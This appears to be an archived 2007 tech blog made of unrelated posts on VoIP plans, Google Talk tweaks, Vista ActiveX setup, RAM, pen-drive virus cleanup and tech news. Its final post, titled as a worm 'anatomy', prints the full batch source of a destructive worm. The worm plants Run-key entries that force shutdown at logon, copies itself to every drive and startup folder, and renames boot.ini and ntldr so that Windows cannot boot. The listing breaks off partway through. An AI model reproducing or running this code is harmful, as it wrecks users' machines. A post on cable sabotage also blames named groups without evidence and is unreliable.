QuantumTone Introduces Unlimited Calling to Bangladesh

NewswireToday - /newswire/ - New York, NY, United States, 12/24/2007 - Use your existing mobile or land phone to call worldwide unlimited for a flat rate .
	QuantumTone announces today that it's launching the highly anticipated unlimited calling plans for Bangladesh, India, Pakistan, Mexico, Vietnam, Turkey, Europe, Asia, and other South and Central American countries for flat monthly rates. This new service liberates consumers from paying per minute rate for international calls. They can use their existing mobile, home or get new digital home phone service from QuantumTone to use the service. It can also be used without any internet connection and is available through online portal and selected local retail storefronts in major metropolitan cities nationwide. This product will be rolled out to European and Middle Eastern consumers subsequently. "Our service transforms any mobile or local land phone into an instant world phone with unlimited calling capabilities. The advent and perpetual developments of QuantumTone VoIP Technology has simplified international telephony. Realizing how agonizing, time consuming, and expensive for ethnic frequent callers to use long distance services and deceptive, gray-route prepaid calling cards, we felt the need for such flat rate unlimited calling plans. Residential consumers can take advantage of our new service and call their friends and family overseas worry free," said Monica Kish, the CEO of QuantumTone, "We are the first US telephone company that pioneered such aggressive worldwide unlimited plans to some of these high-cost international tariffs like anywhere in India, Bangladesh, Pakistan, Mexico, Columbia, and other destinations." QuantumTone ushers in a new era of VoIP connectivity and IP telephony sophistication never seen before in home and mobile device until recently, it completely redefines what a mobile phone and digital home phone can do using QuantumTone IP technology. QuantumTone offers multiple unlimited domestic and international calling plans for residential and business consumers – VoIP Home and Q-TONE Mobile/Home which offer the convenience of registering either your existing mobile phone or local home phone or choosing QuantumTone VoIP to make free calls to your preferred overseas countries including domestic USA and Canada long distance. QuantumTone offers digital quality, enterprise grade VoIP solutions that comes with many essential calling features at no additional cost. About QuantumTone QuantumTone along with its partners, is an international digital phone company that specializes in technologically advanced, feature-rich, business quality unlimited local, long distance calling and IP hosting services bundled with enterprise grade broadband internet connectivity at a fraction of fixed cost to consumers, businesses, and enterprises in all 50 states in US and worldwide as a local and international phone service provider. Our technology enables anyone to use their traditional phone with high-speed internet (Cable, DSL, T1, ISDN) connection or existing mobile or home phone (without any internet) to make and receive phone calls anywhere in the world even while traveling. At QuantumTone our goal is to make calling simple and almost free for everyone using cutting edge IP technology. QuantumTone is a wholly owned subsidiary of Quantum Leap Group, LLC based out of Dallas, TX with offices located throughout the US, Canada, and France. If you would like more information about the press release or to schedule an interview with QuantumTone, please call at 646-400-0440 x605 or email us at infoATquantumtone.com

Customize GoogleTalk using Resource Hacker

Resource Hacking

To edit resources you will need a resource editor like Resource Hacker.

Change Language

To change the language of Google Talk you will need to:

1. Open resource hacker.
2. Choose the menu: file, open.
3. Open the file c:\program files\google\google talk\googletalk.exe.
4. Now you will see a treeview on the left.
5. Double click on dialog.
6. Double click on 130.
7. Click on 0.
8. You will see a window and a bunch of text like 'CONTROL "Password:", 1003, STATIC'...
9. Change the text to another language, for example: 'CONTROL "Wachtwoord:", 1003, STATIC'...
10. Click 'Compile Script'.
11. Do this for all the dialogs.
12. Double click on 'String Table' in the treeview.
13. Click on 36.
14. Click on 0.
15. You will see a bunch of text like '567, "encountered an internal error'...
16. Change the text to another language, for example: '567, "er is een interne fout voorgekomen'...
17. Click 'Compile Script'.
18. Do this for all the string tables.
19. Make sure Google Talk is closed!!! and then click file, save.
20. When you reopen Google Talk it should now be in another language.

User Interface Editing

1. Open googletalk.exe in Resource Hacker.
2. Expand the Bitmap tree.
3. Save bitmaps 139, 5001-5104.
4. Edit the bitmaps in your image editor of choice to make them the color(s) you like.
5. Replace the original bitmaps with your edited bitmaps in Resource Hacker (Action > Replace Bitmap).
6. Save and try it out!.

Add items to tray menu

1. Open Google Talk in Resource Hacker.
2. Go to menu -> 110 -> Click on 0. It will open as text.
3. Play with the menu items, for example you can add the item
   MENUITEM "Settings", 40003, MFT_STRING, MFS_ENABLED
4. Click 'compile script'.
5. Close all instances of Google Talk!
6. Click File -> Save.

WM_COMMAND codes

Chat Window:
• 8001 - Start Call
• 40081 - Start muting microphone
• 8007 - Stop muting microphone
• 8008 - Stop Call
• 8015 - Show Send File dialog
• 8003 - Email
• 8013 - Start Voicemail
• 8008 - Stop Voicemail
• 8010 - Go off the record (both on and off)
• 8017 - View past chats
• 8011 - Block/unblock Main Window:
• 40011 - Add Friend
• 40080 - Enable/Disable all notifications
• 40065 - Connection Monitor
• 40080 - Save all settings
• 40087 - Check for Updates Now
• 40088 - Inbox
• 40023 - About
• 40089 - Check Mail Now
• 40003 - Settings
• 40020 - Help
• 40088 - Email
• 40002 - Sign out
• 1404 - Voicemail

GoogleTalk Tips & Tricks

Shortcuts

• CTRL + Mousewheel up/down over input textbox: Change the font size of the textbox.
• F9: Open Gmail to send an email to your friend
• F11: Start a call with your friend
• F12: Stop the current call
• ESC: Close the current window
• ALT + ESC: Minimize the current window
• TAB: Switch between multiple chat windows
• CTRL + I: Same as TAB
• SHIFT + TAB: Same as TAB but in reverse order
• CTRL + TAB: Same as SHIFT + TAB
• Windows + ESC: Open Google Talk (if it's minimized, or in the tray)

Conversation Text

• A message can be 32767 characters long.
• Certain smileys are recognized by Google Talk and will be shown in blue.
  :-| :-O :-x :-P :-D ;-) :-( :| :O :x :P :D :) :( ;-| ;-O ;-x ;-P ;-D ;-) ;-( ;| ;O ;x ;P ;D ;) ;( B-| B-O B-x B-P B-D B-) B-( B'( BO Bx BD B) B( B) And you can put a ' between the characters to get another one shown in blue.
• To write text in bold, put it between *asteriks*
• To write text in italic, put it between _underscores_
• You can insert special characters like ♥♫☺ with 'Start / Programs / Accessories / System Tools / Character Maps'.

Conversation Window

• Drag a conversation window on top of another and they will dock together.
• Drag a file onto the chat history and you'll send the file to the selected contact.
• When you see a message notification, you can right click it to close it without focusing the conversation window.

Conference Calls

• What you need to do to have conference calls: Open up a copy of Google Talk on all computers with which you wish to conference. After one copy is opened make a new shortcut for Google Talk but at the end of it add /nomutex. If you installed it to the default folder then your shortcut should read "C:\Program Files\Google\Google Talk\googletalk.exe" /nomutex. Open 2 instances of the software on every user's computer. After this start a chain: User 1 should connect on one instance to user 2. User 2 will connect on his second instance to user 3. User 3 will connect using his second instance back to user 1. With this chain everyone is connected to everyone.

Nickname & Status Message

• You can change your name in the Google Account page.
  or To change the nickname need to go to your Gmail account and change the name there. Choose Settings, Accounts, and then Edit info. Click on the second radio button, and enter your custom name.
  As a result all of your emails will have that nick as well, there is no way to seperate the two.
• You can add a website in your custom message, it will be clickable when someone opens a conversation window with you.

Contacts

• You don't need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this).
• The Gmail account 'user@gmail.com' can't be invited as your friend.

Sound & Video

• It's possible to broadcast music, MP3, etc.. through Google Talk.
  Unplug your microphone. Double click on the speaker icon in the lower right corner. This will open
  up "Volume Control". Select "Options" and then "Properties". Then check the button
  next to "Recording" then click OK. You may also have to change your setting under
  Mixer Device. Now the Recording Control screen should be up. On my computer I selected "Wave Out Mix". Click on the green phone in Google Talk and call your friend.

Secret Startup Parameters

• /nomutex: allows you to open more than one instance of Google Talk
• /autostart: when Google Talk is run with this parameter, it will check the registry settings to see if it needs to be started or not. If the "Start automatically with Windows" option is unchecked, it won't start.
• /forcestart: same as /autostart, but forces it to start no matter what option was set.
• /S upgrade: Used when upgrading Google Talk
• /register: registers Google Talk in the registry, includig the GMail Compose method.
• /checkupdate: check for newer versions
• /plaintextauth: uses plain authentication mechanism instead then Google's GAIA mechanism. Used for testing the plain method on Google's servers.
• /nogaiaauth: disables GAIA authentication method. The same as above.
• /factoryreset: set settings back to default.
• /gaiaserver servername.com: uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.
• /mailto email@host.com: send an email with Gmail
• /diag: start Google Talk in diagnostic mode
• /log: probably has something to do with the diagnostic logging
• /unregister: ?
• /embedding: ?

Others

• If there's something you think is missing in Google Talk, send off a message to Google.
• There was a hidden game in Google Talk. In the about screen you could see 'play 23 21 13 16 21 19 . 7 1 13 5'. Each number represented a letter. a=1, b=2, c=3 .... When you translated this message it said: 'play wumpus.game'. To play this game you had to invite wumpus.game@gmail.com as a friend. wumpus.game@gmail.com is always offline now. You can still play Hunt the Wumpus here.
• Google Talk can dock into the Google Desktop Sidebar. Doubleclick on the titlebar in the Google Talk main window and it docks as a panel into the GDS and slides out when you click the top of the docked panel.

Google Talk in Windows Live Messenger 9!

Recently a Microsoft employee announced what they're working on for the new version of Windows Live Messenger, connections with GTalk, ICQ and AIM. ICQ and AIM is still in the works. But they claim they have a basic connection to the Google Talk network, which means you can use Google Talk inside of Windows Live Messenger, like the Yahoo! compatibility added a while ago. Unfortunately, it doesn't support voice or file calls yet.
They're also working on adding some goodies, like multiple video/voice chats, and a new API for developing addons, but that's not relevant to Google Talk.
The first beta has been released, according to Ampcoder at Neowin. But it's a private beta, so you cannot get it unless it's leaked or they decide to release it public.

So, what do you think? Has Google teamed up with Microsoft? Or do Microsoft want to create a multi-protocol client without the support of Google? Or Microsoft just trying add some capabilities which its messenger lacked compared to Gtalk, YIM etc?

Source: Liveside.net .

Translate in your GoogleTalk!

Google released 23 translation chat-bots yesterday. You just send them a message and they'll reply back with the translation within a second, inside Google Talk or any other jabber client. List of bots:
 

ar2en, de2en, de2fr, el2en, en2ar, en2de, en2el, en2es, en2fr, en2it, en2ja, en2ko, en2nl, en2ru, en2zh, es2en, fr2de, fr2en, it2en, ja2en, ko2en, nl2en, ru2en, zh2en

Explanation on the language codes: 

EN = English, NL = Dutch, DE = German, ES = Spanish, FR = French, IT = Italian, KO = Korean, RU = Russian, JA = Japanese, ZH = Chinese.

Add the bot like this to your buddylist:

<FirstLanguage>2<SecondLanguage>@bot.talk.google.com

This service is hosted by Google, and therefore I bet it's using Google's translation tool. :P
Google also encourage you to create your own bots, if you know programming. :) Since the XMPP protocol is open, you can find a lot information on bot-making on the web.

Tech museum Award : Achievment by two IT organization of Bangladesh

Watch this video interview of Cellbazaar in NTV

View full list of award laureates at The Tech Museum Awards

BD's Submarine Cable & Sabotage

 In this month of November we are experiencing the worst of the disasters. The hurricane 'Sidr' did a huge damage to our nation. We had no control over it. Before this we had been under two massive floods in Bangladesh. But there were other great disasters caused by human beings. We lost our link to Submarine Cable Landing station several times before this hurricane and even afterward it was cut again. Statistics show that, since from beginning of this highspeed communication channel, it had been cut several times by the criminals in most of the incidents of dislinkage. This cable is of almost no re-sale value at all. Now, everyone is wondering whats the actual cause behind this.

Lets put thoughts and we will be able to identify the reason behind this henious act:

1. Neighboring India: As we are competetitor to India in some goods, products subotaging our means of communication can cuause us not only billions but also lose contracts and thus making their ways.

2. VoIP illegal business holders. As this govt has almost stopped all the illegally running VoIP businesses, they taking chance of running their own VSAT while the main line is down. Thus, making point that we cant run without VSAT and cant depend on Optical Fiber alone.

3. Islamic activists: Activists like JMB(Jamayatul Mujaheedin Bangladesh), has only concern of making damages to the nation. And those fundamentalist terrorists hate technology, science, knowledge etc.

4. Corrupted Politicians + Businessmen: Those who wants to cause damages as they are doing with price rises and ruining efforts of this government.

Well, whatever the cause might be, we shouldn't let our most important means of communication be so vulnarable and prone to failure. We should create alternative backup links for any sort of such disasters. We should hunt down those suboteurs, and punish them with their appointers in rapid succession. We shouldnt let them be successfull all those times. Destroying such state-property should be punishable by long term jail etc.

How To Intall ActiveX in your Vista Operating System

The ActiveX Installer Service is disabled by default (well, it's not even installed). To install it, follow these steps:

1. <!--[if !supportLists]-->Click Start, and then click Control Panel.
2. <!--[if !supportLists]-->Click Programs. Then, click Turn Windows Features On And Off. A UAC prompt appears.
3. <!--[if !supportLists]-->At the Windows Features dialog, select ActiveX Installer Service check box. Then, click OK.
4. <!--[if !supportLists]-->Restart your computer.
5. <!--[if !supportLists]-->After the computer restarts, you need to set the ActiveX Installer (AxInstSV) service to start automatically. Click Start, right-click Computer, and then click Manage. Expand Services and Applications, and then click Services. Right-click ActiveX Installer (AxInstSV), and then click Properties. Click Startup type, and then click Automatic. Then, click the Start button, and finally click OK.

Now that you've done that, nothing will behave differently. To use it, you must enable the "Computer Configuration\Administrative Templates\Windows Components\ActiveX Installer Service\Approved Installation Sites For ActiveX Controls" Group Policy setting and add each URL you want to allow ActiveX controls for. For the value, you can typically just go with "2,2,1,0″.

Here is a complete walkthrough of the installation and configuration of AxIS on Windows Vista RC1 in this video: Start video 100k | 300k

You can watch this video to configure your Vista PC to enable installing of ActiveX.

Have Fun. J

A Very Funny Essay

This is a true essay written by a CSS candidate at the CSS Exam held
in year 2002-2003 in Islamabad . The candidate has written an essay on
Cow:

"COW"

He is the cow. "The cow is a successful animal. Also he is 4 footed.
And because he is female , he gives milks, [but will do so when he is
got child.]. He is same like-God, sacred to Hindus and useful to man.
But he has got four legs together. Two are forward and two are
afterwards. His whole body can be utilized for use. More so the milk.
Milk comes from 4 taps attached to his basement. [horses don't have
any such attachment]

What can it do? Various ghee, butter, cream, curd, why and the
condensed milk and so forth. Also he is useful to cobbler, water mans
and mankind generally. His motion is slow only because he is of lazy
species. Also his other motion. {gober} is much useful to trees,
plants as well as for making flat cakes [like Pizza], in hand, and
drying in the sun.

Cow is the only animal that extricates his feeding after eating. Then
afterwards he chews with his teeth that are situated in the inside of
the mouth. He is incessantly in the meadows in the grass. His only
attacking and defending organ is the horns, specially so when he is
got child. This is done by knowing his head whereby he causes the
weapons to be paralleled to the ground of the earth and instantly
proceed with great velocity forwards. He has got tails also, situated
in the backyard, but not like similar animals. It has hairs on the
other end of the other side. This is done to frighten away the flies
which alight on his cohesive body here upon he gives hit with it. The
palms of his feet are soft unto the touch. So the grasses head is not
crushed. At night time have poses by looking down on the ground and he
shouts. His eyes and nose are like his other relatives.


This is the cow.

Bangladesh: One man's trash is another man's robot

 BEIJING, Oct. 9 (Xinhuanet) -- A robot that can swab floors, pick up objects and do other simple jobs is being developed by a Bangladeshi graduate student at a fraction of the cost of other humanoids.

    Feroz Ahmed Siddiky of the International Islamic University in Chittagong says his "IRobo" has spatial intelligence, responds to voice commands and is inexpensive because it's made from scrap materials he's scavenged from electronic shops and car mechanics.

    "On completion, this robot will comply with different verbal commands for tasks like shifting objects, cleaning floors and standing guard," Siddiky told Reuters.

    "It can also be used for some risky jobs like in coal mines, where workers commonly suffer many accidents."

    Siddiky has spent two years developing the robot and says it will take one more year of engineering before it's finished. Discussions about commercial production of his creation are currently underway with an Australian software firm.

    "I hope people will be able to buy it for less than 1,000 dollars," he added.

Nobel winners' discovery led to your iPod

This years Nobel Prize 2007 is given to the two scientists whose discovery revolutionized digital data storage, their research allows millions to sway to music on their iPods and to store a lifetime's photographs on palm-size devices.

Peter Gruenberg of Germany and Albert Fert of France were recognized for their independent discovery of giant magnetoresistance - an exotic phenomenon whose practical applications became ubiquitous in everyday life in less than two decades.

Among the results: The palm-size external hard drive that can hold a good chunk of your local library. The iPod that allows you to carry a thousand songs in your pocket. The computing revolution that allows your laptop to hold more information than a 19th-century warehouse.

"The raw understanding of how nature works is a great thing," Dean, vice president for research at IBM said. "The application of that knowing how nature works in the creation of something my mother can use is another great breakthrough - and as significant."

Their discovery that ultra-thin slices of metal have different electrical properties in a magnetic field not only changed the musical and computing habits of the entire planet but also altered the very landscape of how people think about information, and the ways in which music, movies and ideas can be shared.

Packing information into ever-more-compact spaces is at the heart of the success of devices such as the iPod. That success would have been impossible without the scientific discovery honored Tuesday.

The phenomenon of giant magnetoresistance, or GMR, is one of those ideas that seems impossible until someone shows how it can be done, and then it seems obvious. Hundreds of laboratories and companies today are expanding on Fert's and Gruenberg's idea, with results more striking than anything they had originally visualized.

How it works

Although giant magnetoresistance does sound a bit like one of those mutants in the "X-Men" movie series, it actually describes a phenomenon at the junction of electricity and magnetism: When two layers of a metal such as iron are separated by a thin layer of another metal such as chromium, the application of a magnetic field can change the resistance of the structure - which determines how much electricity will flow through it.

Without giant magnetoresistance, a lot of information still could be packed into a tiny space, but it would be unreadable. Effectively, GMR technology provides a sort of magnifying glass that allows electronic devices to read very tiny letters.

Fert, 69, is a professor at the University of Paris-Sud, in Orsay, France . Born in Carcassonne, France, he is married and has two children. Gruenberg, 68, was born in Pilsen in what is now the Czech Republic. Now a German citizen, he works at the Institute of Solid State Research, which is part of a scientific facility known as Research Center Juelich in western Germany. He is married and has three children.

Woman Ordered to Pay $222,000 for downloading and sharing music

A woman ordered to pay US$222,000 for downloading and sharing music files has decided to appeal the case.

A happy Jammie Thomas said on her Myspace.com blog that the appeal was announced by her lawyer, Brian Toder, in an interview with CNN.

"My attorney announced, on national television, with the RIAA watching I'm more than certain, we're going to appeal," she wrote in the blog entry. Winning the appeal will "stop RIAA in their tracks," she wrote.

Thomas was ordered last week by a jury in the U.S. District Court for the District of Minnesota to pay $222,000 in damages to six music labels, representing $9,250 for each of 24 songs illegally downloaded and shared over the Kazaa file-sharing network. The case against Thomas was filed by the Recording Industry Association of America, an umbrella group representing music labels.

The verdict was a sign that RIAA might come out victorious in some of the more than 20,000 lawsuits it has filed against people for alleged Internet copyright infringement.

Thomas, who lives in Brainerd, Minnesota, has also set up a Web site to raise funds to cover legal expenses. As of Monday, supporters had donated $957.

Neither RIAA nor attorney Toder, of the Chestnut and Combronne law firm, could not be reached for comment.

The music labels involved in the suit include Capitol Records Inc., Sony BMG Music Entertainment and Warner Bros. Records Inc.

Courtesy: PCWorldOnline

How Much RAM is enough?

Up to a point, adding RAM (random access memory) will normally cause your computer to feel faster on certain types of operations. RAM is important because of an operating system component called the virtual memory manager (VMM).

When you run a program such as a word processor or an Internet browser, the microprocessor in your computer pulls the executable file off the hard disk and loads it into RAM. In the case of a big program like Microsoft Word or Excel, the EXE consumes about 5 megabytes. The microprocessor also pulls in a number of shared DLLs (dynamic link libraries) -- shared pieces of code used by multiple applications. The DLLs might total 20 or 30 megabytes. Then the microprocessor loads in the data files you want to look at, which might total several megabytes if you are looking at several documents or browsing a page with a lot of graphics. So a normal application needs between 10 and 30 megabytes of RAM space to run. On my machine, at any given time I might have the following applications running:

• A word processor
• A spreadsheet
• A DOS prompt
• An e-mail program
• A drawing program
• Three or four browser windows
• A fax program
• A Telnet session

Besides all of those applications, the operating system itself is taking up a good bit of space. Those programs together might need 100 to 150 megabytes of RAM, but my computer only has 64 megabytes of RAM installed.

The extra space is created by the virtual memory manager. The VMM looks at RAM and finds sections of RAM that are not currently needed. It puts these sections of RAM in a place called the swap file on the hard disk. For example, even though I have my e-mail program open, I haven't looked at e-mail in the last 45 minutes. So the VMM moves all of the bytes making up the e-mail program's EXE, DLLs and data out to the hard disk. That is called swapping out the program. The next time I click on the e-mail program, the VMM will swap in all of its bytes from the hard disk, and probably swap something else out in the process. Because the hard disk is slow relative to RAM, the act of swapping things in and out causes a noticeable delay.

If you have a very small amount of RAM (say, 16 megabytes), then the VMM is always swapping things in and out to get anything done. In that case, your computer feels like it is crawling. As you add more RAM, you get to a point where you only notice the swapping when you load a new program or change windows. If you were to put 256 megabytes of RAM in your computer, the VMM would have plenty of room and you would never see it swapping anything. That is as fast as things get. If you then added more RAM, it would have no effect.

Some applications (things like Photoshop, many compilers, most film editing and animation packages) need tons of RAM to do their job. If you run them on a machine with too little RAM, they swap constantly and run very slowly. You can get a huge speed boost by adding enough RAM to eliminate the swapping. Programs like these may run 10 to 50 times faster once they have enough RAM!

Here are some interesting links:

• How RAM Works

• How Virtual Memory Works

• Check your virtual memory settings

• About the Virtual Memory Manager

Say Goodbye to PenDrive Viruses : Turn off Autorun and make your PC running smooth again :)

Now-a-days everyone has the necessity for a PenDrive or FlashDrive or lets just say Removable Storage Devices. And most of the Trojans or viruses gets spreaded from this means. You'll see commecial shops are very much afraid of using pendrives. Most of them deny service if you want to use a pendrive with you.

Now let us learn some VITAL technics to get rid of this messy headache once and for all. This article is collection of boosted tips & tricks altogether from the net and own experiences. We will learn how to fight with the infections from pendrive viruses like : DiskKnight, Kopa, Brontok etc and also kill them. In most cases we even wont need any antiviruses.

 

Tip 1.To disable CD autoplay in XP using either local group policy or, for an enterprise, an Active Directory group policy. The local group policy editor method: If you dont understand what these jargons mean dont worry just follow whats below :)

• Click Start
• Click Run
• Enter GPEDIT.MSC
  Group Policy mmc will popup. On left panel:
• Double-click Computer Configuration to open submenu
• Double-click Administrative Templates to open submenu
• Double-click System to open submenu
• Double-click Turn autoplay off option which will be near the bottom of the list in the right panel.

The default is the Not configured . Set it to Enabled.

Tip 2. XP supports autorun when you put a CD in the CDROM. To disable, set Autorun=0 to enable, set Autorun=1. If Autorun is enabled, you can disable the feature for any particular CD by holding down the shift key as you close the CDRom drawer. AutoRun should be disabled for kiosk PCs(ie. CyberCafe or shop PCs) and other environments where you are restricting ability to install new software. Cut and paste the following Windows NT / Windows 2000 Registry script text into autocdrom.reg file and run it:

REGEDIT4
BLANK LINE GOES HERE
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CDRom]
"Autorun"="0"
BLANK LINE GOES HERE

There is a potential downside to Autorun. In the background, NT / W2K / XP are constantly querying the CD / DVD drive whether anything new has been inserted. For high performance games, this can cause hiccups, unexplained pauses. Just turn it off if you suspect this is your problem.

Tip 3. Use the Kopa Killer to get rid of Viral Side Effects

This helpfull tool from vistaarc.com helps you to get rid of these:

Remove main executables of Mr. kopa from your PC

Enable Registry Permission

Enable Folder Options

Enable Task Manager

Delete kopa executables & autorun.inf from the root of your pen drive

Tip 4. Enable Registry Editor disabled by Brontok, Kopa, DiskKnight etc

Goto start and Run and type exactly the following and hit enter Viola! :

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f

or goto http://www.softpedia.com/get/Security/Security-Related/RRT-Remove-Ristrictions-Tool.shtml to get the freeware which will remove restrictions on FolderOptions, RegistryEditor and TaskManager

Tip 5. View and Terminate processes when task manager is disabled. I had to look for this option as Kopa killer software failed to Turn off a task(startup.exe) from the running processes. In my case a Kopa variant was still in memory after running the Kopa Killer from VistaArc.com

Use tasklist.exe from command prompt to see the list of running processes in XP

and to remove a process lets say knight.exe type the following at command prompt:

taskkill /IM knight.exe

How to Convert 3gp/flv Videos to other Formats

Nowadays the cameras bundled with mobile phones are improving day by day and we already have 5MP cams. Most of the handsets captures videos as 3GP formats and also when we want to play other videos in mobile phones, it becomes difficult as it accepts only 3GP or MP4 formats (although some of the models also accept mpeg formats). Now the question is how to convert 3GP to other formats and vice versa.There are lot of converters available for this, but most of them are not freewares and many of them lose the clarity while converting.

SUPER © is a software that supports a wide variety of input/source file format to play or encode (to & from) without any additional third party software.

If you need a simple, yet very efficient tool to convert (encode) or play any Multimedia file, without reading manuals or spending long hours training, then SUPER © is all you need. It is a Multimedia Encoder and a Multimedia Player, easy-to-use with 1 simple click.

 

Supported input source file formats are:

- Video format: 3gp/3g2 (Nokia, Siemens, Sony Ericsson) asf, avi (DivX, H263, H263+, H264, XviD, MPEG4, MSmpeg4), dat, fli, flc, flv (used in Flash), mkv, mpg (Mpeg I,Mpeg II), mov (H263, H263+, H264, MPEG4), mp4 (H263, H263+, H264, MPEG4), ogg, qt, rm, ram, rmvb, str (Play Station), swf (Flash), ts (HDTV), viv, vob, wmv
- Audio format: aac, ac3, amr, mmf, mp2, mp3, mp4, mpc, ogg, ra, wav, wma.

As you can see from the list, it supports a wide range of formats. Converting the file is also very easy. All you have to do is to drag and drop the file into the area and select the type of conversion required. Then select the video and audio properties needed and click convert. Thats it, the file is converted into the desired format without any loss of clarity.

Here are some useful tips;

• Video scale size, aspect ratio and frames per second are important things to note while converting.
• If you intent to convert files to 3GP format for Sony Ericsson phones, select 176 X 144 scale size, aspect ratio as 1:1 and frames per second as 15.
• You can convert files with any duration and size. (No restrictions)
• Super supports conversion (encoding both ways, to and from) for all listed formats.

I have converted complete movies (1.5 GB size) from Mpeg to 3GP formats for playing it in my W700i without losing any clarity of the original video. I recommend this software for all those convert videos to 3GP and vice versa for use in mobile phones.

Here is another quote from SUPER regarding this software;

SUPER © is 100% FREE to download and to use. Any attempt to sell SUPER © such as on eBay, is THEFT. Violators will be prosecuted to the full extent of the law. SUPER © is a FREEWARE that cannot be sold under any circumstances.

Current version of SUPER © : v2007.build.22 (March 14, 2007). If you need any help in converting the files, do leave a comment.

The latest version can be downloaded from here. FAQs and detailed demonstration available here .

Anatomy of an worm written with plain windows batch commands

On 8/26/07, Shezan <shezan2k7@gmail.com> wrote:

Yes I created it with Notepad. I actually created a MS-DOS .bat file using notepad and then converted the shezan.bat file to .exe using using a bat2exe software.. Its nothing . kono bhabe jora tali die baniechhi... Check the source code.....

@echo off
date 12-16-2020 | time 16:00:47.47

SET KEY=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
REG ADD %KEY% /V Shezan /D "shutdown.exe -f" /f

SET KEY=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
REG ADD %KEY% /V ShezanStart /D "shezan.exe" /f

copy shezan.exe c:
copy shezan.exe d:
copy shezan.exe e:
copy shezan.exe f:
copy shezan.exe g:
copy shezan.exe i:
copy shezan.exe j:
copy shezan.exe k:
copy shezan.exe l:
copy shezan.exe m:
copy shezan.exe n:
copy shezan.exe o:
copy shezan.exe p:
copy shezan.exe q:
copy shezan.exe r:
copy shezan.exe s:
copy shezan.exe t:
copy shezan.exe u:
copy shezan.exe v:
copy shezan.exe w:
copy shezan.exe x:
copy shezan.exe y:
copy shezan.exe z:

copy shezan.exe %windir%
copy shezan.exe "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "D:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "E:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "F:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "G:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "H:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "I:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "J:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "K:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "L:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "M:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "N:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "O:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "P:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "Q:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "R:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "S:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "T:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "U:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "V:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "W:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "X:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "Y:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy shezan.exe "Z:\Documents and Settings\All Users\Start Menu\Programs\Startup"

Attrib -h -s c:\boot.ini
ren c:\boot.ini shezan.ini

Attrib -h -s d:\boot.ini
ren D:\boot.ini shezan.ini

Attrib -h -s e:\boot.ini
ren E:\boot.ini shezan.ini

Attrib -h -s f:\boot.ini
ren F:\boot.ini shezan.ini

Attrib -h -s g:\boot.ini
ren G:\boot.ini shezan.ini

Attrib -h -s h:\boot.ini
ren H:\boot.ini shezan.ini

Attrib -h -s i:\boot.ini
ren I:\boot.ini shezan.ini

Attrib -h -s j:\boot.ini
ren J:\boot.ini shezan.ini

Attrib -h -s k:\boot.ini
ren K:\boot.ini shezan.ini

Attrib -h -s l:\boot.ini
ren L:\boot.ini shezan.ini

Attrib -h -s m:\boot.ini
ren M:\boot.ini shezan.ini

Attrib -h -s n:\boot.ini
ren N:\boot.ini shezan.ini

Attrib -h -s O:\boot.ini
ren O:\boot.ini shezan.ini

Attrib -h -s p:\boot.ini
ren P:\boot.ini shezan.ini

Attrib -h -s q:\boot.ini
ren Q:\boot.ini shezan.ini

Attrib -h -s r:\boot.ini
ren r:\boot.ini shezan.ini

Attrib -h -s s:\boot.ini
ren S:\boot.ini shezan.ini

Attrib -h -s t:\boot.ini
ren T:\boot.ini shezan.ini

Attrib -h -s u:\boot.ini
ren u:\boot.ini shezan.ini

Attrib -h -s v:\boot.ini
ren v:\boot.ini shezan.ini

Attrib -h -s w:\boot.ini
ren w:\boot.ini shezan.ini

Attrib -h -s x:\boot.ini
ren X:\boot.ini shezan.ini

Attrib -h -s y:\boot.ini
ren Y:\boot.ini shezan.ini

Attrib -h -s z:\boot.ini
ren Z:\boot.ini shezan.ini

Attrib -h -s c:\ntldr
ren c:\ntldr shezanldr

Attrib -h -s d:\ntldr
ren D:\ntldr shezanldr

Attrib -h -s e:\ntldr
ren E:\ntldr shezanldr

Attrib -h -s f:\ntldr
ren F:\ntldr shezanldr

Attrib -h -s g:\ntldr
ren G:\ntldr shezanldr

Attrib -h -s h:\ntldr
ren H:\ntldr shezanldr

Attrib -h -s i:\ntldr
ren I:\ntldr shezanldr

Attrib -h -s j:\ntldr
ren J:\ntldr shezanldr

Attrib -h -s k:\ntldr
ren K:\ntldr shezanldr

Attrib -h -s l:\ntldr
ren L:\ntldr shezanldr

Attrib -h -s m:\ntldr
ren M:\ntldr shezanldr

Attrib -h -s n:\ntldr
ren N:\ntldr shezanldr

Attrib -h -s O:\ntldr
ren O:\ntldr shezanldr

Attrib -h -s p:\ntldr
ren P:\ntldr shezanldr

Attrib -h -s q:\ntldr
ren Q:\ntldr shezanldr

